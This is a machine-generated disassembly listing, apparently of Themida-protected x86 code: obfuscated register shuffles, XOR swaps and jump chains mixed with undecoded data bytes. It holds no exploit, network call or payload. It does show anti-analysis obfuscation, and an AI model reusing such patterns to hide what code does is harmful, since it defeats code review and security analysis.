db 23h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C8FB: ; CODE XREF: Themida_:0055380Cj
mov ebp, esi
mov esi, [esp]
add esp, 4
push esi
push ecx
mov ecx, 1CAE6498h
mov esi, 185047D0h
sub esi, ecx
jmp loc_5500CF
; ---------------------------------------------------------------------------
db 0C0h, 0E7h, 8
dd 0C7FEC7FEh, 28B3F780h, 0B8E95BFAh, 0C0000015h, 0EE8002EEh
dd 0A6E680EBh, 7B71E9h
db 0
; ---------------------------------------------------------------------------
loc_54C939: ; CODE XREF: Themida_:00553576j
push edx
push 7FBA239Dh
pop edx
jmp loc_549332
; ---------------------------------------------------------------------------
loc_54C945: ; CODE XREF: Themida_:0054964Bj
jz loc_54487C
push 3E24h
mov [esp], ebp
mov ebp, 42C16961h
mov dword ptr [edi+20h], 0BD3E969Fh
push eax
push ecx
push 7750030h
pop ecx
jmp loc_544CC2
; ---------------------------------------------------------------------------
loc_54C96C: ; CODE XREF: Themida_:0054A81Ej
sub eax, 254DE367h
or esi, eax
mov eax, [esp]
jmp loc_552F4B
; ---------------------------------------------------------------------------
db 1
dd 5DEE81EEh, 5D30A63Fh, 0FFAE63E9h, 53E800FFh, 0E3C020B3h
dd 0DAEB8003h, 595BD828h, 0B3535253h, 0B2B551C4h, 0C580C5FEh
dd 0E9DDF6D6h, 0FFFFF787h
; ---------------------------------------------------------------------------
loc_54C9AC: ; CODE XREF: Themida_:00546366j
push dword ptr [esp]
jmp loc_54370E
; ---------------------------------------------------------------------------
dd 4C481h, 0B60F0000h, 8734FFC0h, 4EC81h, 34890000h, 8F685224h
dd 0E903AB41h, 0FFFFA8E8h, 5C243C87h, 9A68E950h, 0B7530000h
dd 0C56866E5h, 0E374E93Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C9EA: ; CODE XREF: Themida_:0054815Ej
mov eax, 1
add ebp, eax
pop eax
push edx
jmp loc_547FD6
; ---------------------------------------------------------------------------
loc_54C9F8: ; CODE XREF: Themida_:005449B8j
shl ebx, 3
sub ebx, 0A118C7B4h
jmp loc_54E5FB
; ---------------------------------------------------------------------------
dw 0C483h
dd 0CDBA5204h, 2928FA32h, 0CB015AD3h, 32CDBD55h, 0EB0128FAh
dd 240C8B5Dh, 8304C483h, 0FF5304C3h, 5B042474h, 0FFF7F2E9h
dd 32FF64FFh, 0FFD034E9h, 241C31FFh, 159DE9h
db 0
; ---------------------------------------------------------------------------
loc_54CA41: ; CODE XREF: Themida_:0054DD29j
pop esp
not cx
sub cx, 0DE30h
sub bx, 13F3h
sub bx, cx
add bx, 13F3h
mov ecx, [esp]
jmp loc_55343C
; ---------------------------------------------------------------------------
db 0C1h
dd 0EEC106EEh, 8E6C106h, 11B0F681h, 0F68156E6h, 2EEE96E7h
dd 8CE9F229h
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CA7B: ; CODE XREF: Themida_:00552EDAj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5435BE
; ---------------------------------------------------------------------------
dw 0E589h
dd 8904EC83h, 4BF243Ch, 53000000h, 525C59BBh, 0F6EB810Fh
dd 0E9790B70h, 0A0A4h
; ---------------------------------------------------------------------------
loc_54CAA4: ; CODE XREF: Themida_:0054C00Aj
sub ebx, eax
pop eax
mov ebp, [esp]
jmp loc_542C66
; ---------------------------------------------------------------------------
db 1
dd 0D6685EF0h, 89000010h, 0B3E9243Ch, 5FFFFF4h, 4, 5C240487h
dd 5E2AF381h, 554B37F8h, 9626E9h
db 0
; ---------------------------------------------------------------------------
loc_54CAD5: ; CODE XREF: Themida_:00548CDDj
pop ebx
push edx
jmp loc_549D9F
; ---------------------------------------------------------------------------
dd 0E9242C89h, 0FFFF8A96h, 30BFE981h, 0E981799Fh, 4F14DC9h
dd 0C181D101h, 4F14DC9h, 30BFC181h, 0BB53799Fh, 0E2949h
dd 2A5AC381h, 0D9296E7Ah, 2434FF5Bh, 4C4815Ah, 83000000h
dd 0FF5102C1h, 59042474h, 8B24048Fh, 8B662424h, 89572404h
dd 4C781E7h, 0E9000000h, 0FFFFE5C1h, 0E328EBB4h, 5724048Bh
dd 0FF855EE9h, 0EB815AFFh, 319060C8h, 0C381C301h, 319060C8h
dd 6BC38158h, 0E94C602Dh, 5A2Eh
; ---------------------------------------------------------------------------
loc_54CB60: ; CODE XREF: Themida_:0054BE68j
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], ebx
push 62F6h
mov [esp], ebx
push edx
push 0FC3D0Bh
pop edx
neg edx
sub edx, 98A98601h
push ecx
jmp loc_550E97
; ---------------------------------------------------------------------------
loc_54CB8D: ; CODE XREF: Themida_:0055109Aj
mov ah, bh
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_54F280
; ---------------------------------------------------------------------------
db 50h
dd 405E089h, 2D000000h, 4, 5C240487h, 89241C89h, 0C6A1E9E3h
dd 0BD55FFFFh, 146A3B2Ah, 186FC381h, 0EB2947E7h, 186FEB81h
dd 295D47E7h, 2AC381C3h, 81146A3Bh, 1F635BEBh, 4EC8348h
dd 55240C89h, 0FFA8DFE9h, 0E9F329FFh, 4CBDh
; ---------------------------------------------------------------------------
loc_54CBF0: ; CODE XREF: Themida_:00545D5Ej
push esp
pop eax
jmp loc_54993F
; ---------------------------------------------------------------------------
db 88h
dd 5AD488FAh, 8851D4F6h, 59EF88E5h, 89565866h, 7E2DE9E6h
dd 0CA890000h, 85ED8159h, 680D185Fh, 0CEDh, 0B9240C89h
dd 70CA4584h, 6EE9CD29h, 59FFFF70h, 7B41EF81h, 15E910F6h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CC37: ; CODE XREF: Themida_:0054F769j
mov edx, 28h
jmp loc_54BC4A
; ---------------------------------------------------------------------------
loc_54CC41: ; CODE XREF: Themida_:00552A70j
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55180F
; ---------------------------------------------------------------------------
loc_54CC56: ; CODE XREF: Themida_:0054B4FFj
pop esp
xchg ebx, [esp]
mov esp, [esp]
push 5207h
mov [esp], eax
jmp loc_54270C
; ---------------------------------------------------------------------------
dw 642Ch
dd 6404E800h, 0A9E6E959h, 14330000h, 24248B24h, 0FFCF75E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54CC81: ; CODE XREF: Themida_:0055636Bj
pop ebx
jmp loc_55081B
; ---------------------------------------------------------------------------
db 89h
dd 4C681E6h, 0E9000000h, 0FFFFBEA8h, 83242C8Bh, 346804C4h
dd 89000011h, 4BB241Ch, 52000000h, 5248EEBAh, 8C2810Ch
dd 2942E8FFh, 0DD015AD5h, 47F6C581h, 0E95B4F3Bh, 0FFFF6B79h
dd 0E904C483h, 0FFFFE128h, 6C02C181h, 348B3CC6h, 4C48124h
dd 0E9000000h, 436h
; ---------------------------------------------------------------------------
loc_54CCE0: ; CODE XREF: Themida_:00553ECEj
and ecx, ebx
jmp loc_545C9B
; ---------------------------------------------------------------------------
db 81h
dd 0C203D6EEh, 4BC68114h, 130D737h, 4BEE81C6h, 8130D737h
dd 0C203D6C6h, 4EC8114h, 89000000h, 0A4B9240Ch, 810B372Eh
dd 0CE605DC6h, 81CE012Ah, 0CE605DEEh, 240C8B2Ah, 6804C483h
dd 0ADCh, 89243489h, 33E955E6h, 31000056h, 24048BC7h, 4C481h
dd 0F9010000h
db 8Bh, 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1FA2h
mov [esp], ecx
mov ecx, 3703011Eh
shr ecx, 8
xor ecx, 370305h
jmp loc_54311F
; ---------------------------------------------------------------------------
db 81h, 0C6h, 0EAh
dd 0F721333Bh, 0C5E681D6h, 0F71D3137h, 0A121E9D6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54CD76: ; CODE XREF: Themida_:00556DC2j
pop edx
push eax
mov eax, esp
add eax, 4
jmp loc_554583
; ---------------------------------------------------------------------------
a3hXsk3 db '¹3H±xéŠ3',0
align 2
dw 48Fh
dd 8AD6E924h, 0F201FFFFh, 9552E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CD9E: ; CODE XREF: Themida_:00555A6Dj
push 470Ch
mov [esp], ecx
push eax
mov ah, 19h
push small 0
push bx
jmp loc_54C1BD
; ---------------------------------------------------------------------------
dd 0C7815F54h, 4, 4C781h, 0FF570000h, 8B042474h, 0C481243Ch
dd 4, 60BAE9h, 2434FF00h, 582434FFh, 0D8CE9h
db 0
; ---------------------------------------------------------------------------
loc_54CDE1: ; CODE XREF: Themida_:005551CAj
xor eax, 75392BA9h
jmp loc_555113
; ---------------------------------------------------------------------------
db 5Ah
dd 0F704EFC1h, 0B2C781D7h, 2D04DB21h, 5C6C1607h, 2717432Dh
dd 5F80101h, 1271743h, 0FF8A4EE9h, 5FFD29FFh, 79E9FD01h
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CE17: ; CODE XREF: Themida_:00556FAAj
neg ebx
jmp loc_5478D2
; ---------------------------------------------------------------------------
dw 4EBAh
dd 9629C61h, 24148BD0h, 0FFBBBAE9h, 60BB53FFh, 1077A74h
dd 0FE295BDEh, 343CE9h, 0ABF58100h, 0E908417Ch, 0FFFFD8C4h
dd 148BF028h, 4C48124h, 4000000h, 2CD80030h, 0E9B80430h
dd 7E29h, 0E95AD631h, 0FFFF773Ah, 0F4805966h, 58E3883Dh
dd 28DDE9h, 58E70000h, 34FFF828h, 0E9535B24h, 33ABh, 0DA6685Dh
dd 43E90000h, 0BDFFFFDEh, 5A5A09E8h, 5871C681h, 0EE295B8Fh
dd 5871EE81h, 815D5B8Fh, 0A16827EEh, 81D60108h, 0A16827C6h
dd 6A7CE908h, 0C15F0000h, 0EE8102E6h, 6E94C2E8h, 89F08950h
dd 295E58C3h, 241C8BD8h, 4C481h, 3C8B0000h, 4C48124h, 5000000h
dd 575652F1h, 0F12DD829h, 5575652h, 21185934h, 948BE56h
dd 0EEC130EFh, 40E66802h, 14890000h, 0E9E28924h, 20A6h
dd 0BE7837BFh, 95C781E4h, 81098636h, 7029ADEFh, 81EF0157h
dd 7029ADC7h, 95EF8157h, 5D098636h, 5584E951h, 0C1810000h
dd 68A95B3Ah, 0E981D901h, 68A95B3Ah, 3AF1815Bh, 0E954B006h
dd 0FFFFB7E4h, 88C28852h, 3AD9E9D1h, 82B80000h, 2D0E063Bh
dd 0E063B7Eh, 8158C601h, 4C6h, 24348700h, 0FFF1315Ch, 835E2434h
dd 0D9F704C4h, 7698C181h, 48E9FAC8h, 1FFFFC7h, 241C8BD8h
dd 3304C483h, 4312404h, 0CF99E924h, 0D3B9FFFFh, 0E94A1475h
dd 355Bh
; ---------------------------------------------------------------------------
loc_54CF98: ; CODE XREF: Themida_:00551A1Dj
sub ecx, ebp
pop ebp
push ecx
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
pop ecx
shl ecx, 8
sub esp, 4
mov [esp], esi
push 6E1Ah
mov [esp], ecx
push 7EB55726h
pop ecx
or ecx, 58285BB9h
neg ecx
jmp loc_552D8C
; ---------------------------------------------------------------------------
loc_54CFCC: ; CODE XREF: Themida_:005454EEj
neg ebx
jmp loc_55116F
; ---------------------------------------------------------------------------
db 68h
dd 2882h, 330FE9h
db 0
; ---------------------------------------------------------------------------
loc_54CFDD: ; CODE XREF: Themida_:00551EAAj
add ebx, eax
jmp loc_54DBBE
; ---------------------------------------------------------------------------
loc_54CFE4: ; CODE XREF: Themida_:0055721Dj
mov dl, 37h
mov al, dl
jmp loc_547A1E
; ---------------------------------------------------------------------------
db 0F7h, 1Ch, 24h
dd 0A1C18159h, 136D779h, 0C65BE9CBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54CFFE: ; CODE XREF: Themida_:005536D4j
mov ebx, 34A32129h
sub ebx, ebp
jmp loc_542B45
; ---------------------------------------------------------------------------
loc_54D00A: ; CODE XREF: Themida_:00556C35j
pop ebx
add edi, ecx
push ebx
mov ebx, 71492F43h
jmp loc_5507C5
; ---------------------------------------------------------------------------
loc_54D018: ; CODE XREF: Themida_:0054B0E1j
mov al, 0B2h
add al, 0A0h
sub al, dl
sub al, 0A0h
mov edx, [esp]
add esp, 4
inc al
sub esp, 4
mov [esp], edx
mov dh, 0B8h
and dh, 6
push eax
mov ah, 8Fh
jmp loc_54966B
; ---------------------------------------------------------------------------
dw 40BEh
dd 0F73ABA06h, 3EEC1D6h, 2D85EE81h, 0EE8134D9h, 1CD51918h
dd 876AC681h, 2FE93905h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D05F: ; CODE XREF: Themida_:00554FF8j
mov [esp], esi
mov esi, esp
add esi, 4
push 40E5h
mov [esp], eax
jmp loc_5528AA
; ---------------------------------------------------------------------------
db 83h
dd 0C18104C4h, 4, 0FF65EDE9h, 5E9C1FFh, 389BE981h, 5305A33Fh
dd 2924E00Eh, 4EC83C8h, 0BB241C89h, 71497532h, 1069E381h
dd 0C3E9133Fh, 0FEFFFFD4h, 0FFC780C7h, 68h, 243C2800h
dd 68243C8Ah, 4AF4h, 0FFD5B0E9h, 4C481FFh, 0FF000000h
dd 835E2434h, 0EE8704C4h, 0BAE9DDF7h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D0DB: ; CODE XREF: Themida_:0054550Bj
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], edi
push 409Fh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push esi
mov esi, 4
jmp loc_54E67A
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 0EDC68106h, 29CC69E5h, 60AEE9F5h, 0E981FFFFh, 18B56D49h
dd 0FF5F7CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D121: ; CODE XREF: Themida_:0054D3A5j
push ebp
mov ebp, 4E6B4875h
mov edi, ebp
jmp loc_555FC9
; ---------------------------------------------------------------------------
aSI_0 db 'S³©±Þ',0
dd 241C8BD9h, 4C481h, 0C8000000h, 0E9240C8Bh, 5547h, 3848C581h
dd 835B4505h, 2C8904ECh, 2474FF24h, 48F5D04h, 0CFE5C24h
dd 0A5E99C24h, 68FFFF55h, 407Bh, 83242489h, 3C8904ECh
dd 4BF24h, 6C810000h, 299D0424h, 7C0171C3h, 44810424h
dd 299D0424h, 3C8B71C3h, 4C48324h, 6824048Bh, 5095h, 89241489h
dd 4C281E2h, 83000000h, 148704C2h, 24248B24h, 405h, 0E2895200h
dd 4C281h, 0EA830000h, 46AAE904h, 3C8B0000h, 14C0E924h
dd 4BB0000h, 1000000h, 241C8BDFh, 4C481h, 0E9550000h, 291Eh
dd 314AD8B8h, 83E9536Ah, 0FF000095h, 669D1C77h, 24041058h
dd 550EE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D1FE: ; CODE XREF: Themida_:00544931j
sub dl, 2Eh
add ah, dl
jmp loc_54927E
; ---------------------------------------------------------------------------
loc_54D208: ; CODE XREF: Themida_:0054E8EDj
add ebx, 36316967h
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_55635C
; ---------------------------------------------------------------------------
db 5Bh
dd 4BD555Fh, 1000000h, 0C7815DEFh, 4, 8B243C87h, 48F2424h
dd 8B665C24h, 8957240Ch, 4C781E7h, 81000000h, 4EFh, 12C7E900h
dd 248B0000h, 24048F24h, 54AEE95Ch, 0F681FFFFh, 96252Dh
dd 33BDC681h, 40E93BD2h, 81FFFFF8h, 322876CBh, 0E6A8E940h
dd 685CFFFFh, 14CAh, 9434E9h, 4EBC100h, 9C685552h, 5D021734h
dd 0BA4C581h, 0C5815C4Fh, 0BE1C3764h, 525DEA89h, 0F7243C87h
dd 243C87D7h, 3CEA815Ah, 964912Bh, 0AB685AD3h, 89000039h
dd 8CBD242Ch, 0E943AE68h, 2D8Eh
; ---------------------------------------------------------------------------
loc_54D2C4: ; CODE XREF: Themida_:00554DABj
or dl, 0EBh
xor dl, 96h
jmp loc_54492F
; ---------------------------------------------------------------------------
db 57h
dd 0FFC87CE9h, 0FFEF83FFh, 28DBEF81h, 0F7815025h, 2C9E3942h
dd 58AC281h, 0FA016AE2h, 883FE9h, 241C3100h, 8B241C33h
dd 4892424h, 83E08924h, 2C8904ECh, 66BB5324h, 8177D550h
dd 0EA59E7CBh, 14F7533Eh, 0C3815B24h, 0B40CC3CBh, 815BDD89h
dd 0D69E7F5h, 33BF5734h, 5156D2Bh, 4C5C6D3Dh, 3D2DF801h
dd 5F4C5C6Dh, 332DE801h, 0E9156D2Bh, 1CF0h, 55A3BD55h
dd 0FCE91A33h, 1FFFFC9h, 0ABC281FAh, 0E91AC068h, 0FFFF65B3h
dd 0C781E789h, 4, 423EE9h
db 0
; ---------------------------------------------------------------------------
loc_54D369: ; CODE XREF: Themida_:00543B99j
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_556132
; ---------------------------------------------------------------------------
loc_54D375: ; CODE XREF: Themida_:005437EDj
pop ecx
add ecx, edi
pop edi
sub ecx, 47B133FDh
add ecx, edx
add ecx, 47B133FDh
jmp loc_5523FD
; ---------------------------------------------------------------------------
loc_54D38C: ; CODE XREF: Themida_:00546993j
sub ebp, esi
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 50C9252Ah
push ecx
push edi
jmp loc_54D121
; ---------------------------------------------------------------------------
dw 0F829h
dd 0FF7081E9h, 4EC83FFh, 68242C89h, 0
dd 94AEE9h
db 0
; ---------------------------------------------------------------------------
loc_54D3C1: ; CODE XREF: Themida_:00544B42j
mov ebx, 0C7B591Ch
jmp loc_551DF4
; ---------------------------------------------------------------------------
loc_54D3CB: ; CODE XREF: Themida_:0054DD47j
pop esp
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], ebp
mov ebp, 38B97F29h
jmp loc_54EA39
; ---------------------------------------------------------------------------
dd 6C6CB850h, 0C7890AD1h, 0EAE78158h, 0E92D892Ch, 0FFFFC789h
dd 26B5EB81h, 0F30114E9h, 26B5C381h, 575E14E9h, 2BFBE56h
dd 0E9552620h, 0FFFF8D72h
; ---------------------------------------------------------------------------
loc_54D418: ; CODE XREF: Themida_:0054945Ej
push ebx
mov ebx, 0D481D2Eh
dec ebx
neg ebx
push 477Ah
mov [esp], ebp
push edi
mov edi, 6E073700h
mov ebp, 84B0ABD7h
add ebp, edi
pop edi
xor ebx, ebp
pop ebp
add ebp, ebx
pop ebx
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
pop eax
push 494Eh
mov [esp], ebp
push esp
pop ebp
push 63B1h
mov [esp], ecx
mov ecx, 1C54198Fh
add ecx, 0E3ABE675h
add ebp, ecx
pop ecx
jmp loc_549AD8
; ---------------------------------------------------------------------------
db 81h
dd 201A8CC2h, 0E9D789FDh, 0FFFFF963h, 2071CA81h, 0EA81131Fh
dd 29AD1471h, 315AD729h, 7040E9FAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D49E: ; CODE XREF: Themida_:0054E977j
mov esi, edi
pop edi
push dword ptr [esp]
mov eax, [esp]
jmp loc_555B1A
; ---------------------------------------------------------------------------
loc_54D4AC: ; CODE XREF: Themida_:00554D40j
add eax, 71886069h
pop ebx
xchg eax, [esp]
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_54C06B
; ---------------------------------------------------------------------------
loc_54D4C0: ; CODE XREF: Themida_:00545B04j
pop ebp
sub edx, 28B51E45h
sub edx, eax
add edx, 28B51E45h
jmp loc_553254
; ---------------------------------------------------------------------------
loc_54D4D4: ; CODE XREF: Themida_:005557DEj
add eax, edx
add eax, 8C43B3h
push esi
mov esi, 79F662DFh
jmp loc_549304
; ---------------------------------------------------------------------------
loc_54D4E6: ; CODE XREF: Themida_:00549134j
mov [esp], ebp
mov ebp, 233F7DE6h
sub ebp, 233F7DE2h
add edx, ebp
jmp loc_55427E
; ---------------------------------------------------------------------------
db 81h
dd 4EFh, 7B8CE900h, 0B951FFFFh, 3B9244CFh, 2959C801h, 24048BC3h
dd 4C481h, 0E3C10000h, 42C38105h, 1CEA4BCh, 0B0E7E9D8h
dd 0F66FFFFh, 5166C8B6h, 6B1DE99Ch, 0E681FFFFh, 2CF80FF7h
dd 0EA68DEF7h, 0E9000067h, 0FFFF6990h
; ---------------------------------------------------------------------------
loc_54D548: ; CODE XREF: Themida_:00548BCFj
pop edx
add bl, al
jmp loc_54E72B
; ---------------------------------------------------------------------------
dd 0F433E95Bh, 0EF80FFFFh, 2DC78061h, 0EF80CF28h, 2434FF2Dh
dd 4C48159h, 2C000000h, 96B55130h, 0E959E800h, 0FFFFB2BFh
; ---------------------------------------------------------------------------
loc_54D578: ; CODE XREF: Themida_:005494BBj
sub esp, 4
jmp loc_557862
; ---------------------------------------------------------------------------
loc_54D580: ; CODE XREF: Themida_:00551192j
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5456D0
; ---------------------------------------------------------------------------
db 8Bh
dd 0E6E92414h, 1FFFFF0h, 63E95FFAh, 66FFFF78h, 8124048Bh
dd 4ECh, 24348900h, 5B2FE9h, 23AFBE00h, 0F1091F5Ah, 55D9F75Eh
dd 3D4781BDh, 2AB9517Eh, 214D1E2Bh, 60E959CDh, 89FFFF5Eh
dd 0C1E92414h
db 89h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D5E3: ; CODE XREF: Themida_:00552F33j
mov [esp], edx
mov edx, 68AD35CFh
xor ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_54A9D8
; ---------------------------------------------------------------------------
dd 4C481h, 0D7F70000h, 0F701C783h, 0A2F781DFh, 0E981DF48h
dd 0FFFFB00Dh
; ---------------------------------------------------------------------------
loc_54D610: ; CODE XREF: Themida_:00551BA4j
mov edx, 3E5BACh
and edx, 34872211h
add edx, 522D54D4h
jmp loc_54715C
; ---------------------------------------------------------------------------
dw 0D0F7h
dd 53D68792h, 1F2DFCBBh, 68566Ch, 5E000000h, 0D6E9DE29h
dd 33FFFF85h, 4312404h, 24043324h, 61C3E95Ch, 0C3290000h
dd 81C32958h, 4ECh, 240C8900h, 140B850h, 81B900B1h, 317E6610h
dd 0BE6EE9C1h, 565FFFFFh, 7FF6853h, 0C15B58AEh, 57E907E3h
dd 0ADFFFF64h, 83666505h, 0FFDE968h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D68A: ; CODE XREF: Themida_:0054F018j
push ebx
mov bh, 4Fh
and dh, bh
jmp loc_54AD16
; ---------------------------------------------------------------------------
dd 0C1815954h, 4, 0FF6E26E9h, 300868FFh, 3C890000h, 9FB95124h
dd 0E93EA026h, 500Ch, 8B2434FFh, 89502404h, 52E952E0h
dd 81FFFF62h, 6D042444h, 0E9065812h, 3F6h, 4EC81h, 34890000h
dd 65EA6824h, 348B34BFh, 4C48124h, 81000000h, 8961ECE6h
dd 670AE975h, 8158FFFFh, 2705B1EDh, 1ED8128h, 56000000h
dd 0FFFFFF68h, 24348BFFh, 4C481h, 0F5010000h, 0E9D5F75Eh
dd 9ECDh, 4EBFE381h, 0EB8111A0h, 80007Ch, 0FFD495E9h, 241487FFh
dd 0FC3305Ch, 34FFC0B6h, 2434FF87h, 0FFCD8AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54D73D: ; CODE XREF: Themida_:00553E3Dj
push edi
push edx
mov edx, 2DD1583Eh
jmp loc_550BB3
; ---------------------------------------------------------------------------
db 81h, 0F5h, 0E0h
dd 4505306Dh, 0F581D5F7h, 70B9100Dh, 94BB53h, 0D2E94428h
dd 81FFFFDAh, 1430EBCBh, 4EC8119h, 89000000h, 97BD242Ch
dd 8157E81Fh, 7F369FEDh, 7DF5815Eh, 8158F249h, 0F9FF85F5h
dd 0E6EB81EFh, 1495A23h, 0BA11E9EBh, 0FE87FFFFh, 217E9h
dd 0C896600h, 28C3E924h, 74FF0000h, 0E9580424h, 8300h
dd 0BAE9C229h, 5BFFFF8Fh, 7467E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D7BE: ; CODE XREF: Themida_:00551171j
inc ebx
not ebx
xor ebx, 17BC5525h
xor ebx, 0E114E49Bh
push ebx
mov ebx, 4E5D4EA2h
add eax, ebx
pop ebx
sub eax, 563D4EA8h
add eax, ebx
add eax, 563D4EA8h
sub eax, 4E5D4EA2h
jmp loc_544007
; ---------------------------------------------------------------------------
dd 4BD5553h, 0E9000000h, 0FFFF90E4h
; ---------------------------------------------------------------------------
loc_54D7F8: ; CODE XREF: Themida_:00544F16j
add esp, 4
mov ecx, [ebx]
pop ebx
sub esp, 4
mov [esp], ebp
jmp loc_54C070
; ---------------------------------------------------------------------------
dd 34FFC801h, 0E9515924h, 0FFFF7AB1h, 0E924348Bh, 6818h
dd 1124BE56h, 0C68165E2h, 7F9C4FB4h, 0DEF7D6F7h, 0C106EEC1h
dd 0F68104E6h, 707E9507h, 815EF529h, 2F0504EDh, 0BDC58143h
dd 14D9E55h, 79DFE9C5h, 0D7F7FFFFh, 0FF78147h, 0C1580525h
dd 0DE904E7h, 33000025h, 1C31241Ch, 241C3324h, 6624248Bh
dd 9C243CD3h, 0FF4E93E9h, 24148BFFh, 47D9E956h, 0C3810000h
dd 7EF96B26h, 80C5E9h
db 0
; ---------------------------------------------------------------------------
loc_54D88D: ; CODE XREF: Themida_:00553116j
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55058C
; ---------------------------------------------------------------------------
db 66h
dd 6EE9D9F7h, 2D000051h, 66914EBh, 0E958C589h, 7745h
; ---------------------------------------------------------------------------
loc_54D8B8: ; CODE XREF: Themida_:0054724Fj
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_54431B
; ---------------------------------------------------------------------------
loc_54D8CE: ; CODE XREF: Themida_:005446A8j
push eax
mov eax, 4
sub ebp, eax
pop eax
jmp loc_543BF2
; ---------------------------------------------------------------------------
dd 0E9243C89h, 354h
; ---------------------------------------------------------------------------
loc_54D8E4: ; CODE XREF: Themida_:00549876j
pop esp
push 26h
jmp loc_5482E0
; ---------------------------------------------------------------------------
db 66h
dd 3E9028Fh, 8BFFFFE5h, 0C481240Ch, 4, 0EB06A62Dh, 7E06056Ah
dd 0D82957F9h, 0F97E062Dh, 0BF575257h, 3E242842h, 1590CF81h
dd 0F781162Fh, 63EA1A43h, 835FFA89h, 11E9FFC2h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54D92F: ; CODE XREF: Themida_:00556038j
mov esi, 4
add [esp+4], esi
jmp loc_54BF0D
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 53D88B8h, 5E8C173h, 503E8C1h, 0FF8CFAC7h, 158C189h
dd 1C8759CBh, 24248B24h, 3853BA52h, 0EAC174DCh, 0CEC28104h
dd 810AC01Bh, 96D73BF2h, 8BD30164h, 0C4812414h, 4, 61BAE9h
dd 0BEC58100h, 14F693Dh, 0DAE951FDh
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54D98F: ; CODE XREF: Themida_:005458A5j
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_54E1CE
; ---------------------------------------------------------------------------
dw 0A768h
dd 8B24B531h, 89522434h, 4C281E2h, 0E9000000h, 0FFFF4F1Eh
dd 5EC9E957h, 0EB010000h, 4B8505Dh, 55000000h, 0F5F48BDh
dd 0C5814508h, 3197C88Ch, 36E9EB01h, 3300007Ah, 248B240Ch
dd 48B6624h, 2C18E924h, 0C3290000h, 0A12AE958h, 487FFFFh
dd 0C895C24h, 0ACAB924h, 86E90B16h, 51FFFFF6h, 0AD76C1B9h
dd 44F1817Ah, 893ABA3Eh, 240C8BCDh, 4C481h, 0ED830000h
dd 0C5814D01h, 4CC83D72h, 3142E9h
db 0
; ---------------------------------------------------------------------------
loc_54DA25: ; CODE XREF: Themida_:00543121j
pop ecx
jmp loc_5472FC
; ---------------------------------------------------------------------------
db 2Ch
dd 4D8009Fh, 0B753669Fh, 66F8286Fh, 81241C8Bh, 2C4h, 4EC8100h
dd 89000000h, 0B450241Ch, 0A086E94Dh, 34FF0000h, 7685924h
dd 8900001Ch, 5B54241Ch, 8259E9h, 0A3E28100h, 812E3D6Eh
dd 20C32EF2h, 5AD331A0h, 11EAE981h, 0D90140D2h, 11EAC181h
dd 64E940D2h, 68000001h, 33E51C39h, 4EB5E9h
db 0
; ---------------------------------------------------------------------------
loc_54DA91: ; CODE XREF: Themida_:0054AF7Bj
sub esp, 4
jmp loc_54B7C3
; ---------------------------------------------------------------------------
loc_54DA99: ; CODE XREF: Themida_:0054E233j
push edx
jmp loc_549BE0
; ---------------------------------------------------------------------------
db 2Dh
dd 43801745h, 4505C829h, 68438017h, 38A8h, 0BE243489h
dd 301C2DBEh, 68h, 24342900h, 5A66E95Eh, 74010000h, 6C810424h
dd 126D0424h, 6C810658h, 1E3D0424h, 34FF5B4Dh, 0F1685E24h
dd 8900000Dh, 0E589242Ch, 4C581h, 0EC830000h, 24348904h
dd 4BEh, 9245E900h, 405FFFFh, 83000000h, 0A0E904C0h, 5E00006Eh
dd 0EB81EB29h, 3E8B09E3h, 0E9242C8Bh, 695h, 3104C483h
dd 2434FFD0h, 6AC9685Ah, 2C890000h, 81E58924h, 4C5h, 4C58100h
dd 87000000h, 248B242Ch, 53BB5324h, 51645035h, 615CE953h
dd 4BD0000h, 0E9000000h, 0FFFFFE62h
; ---------------------------------------------------------------------------
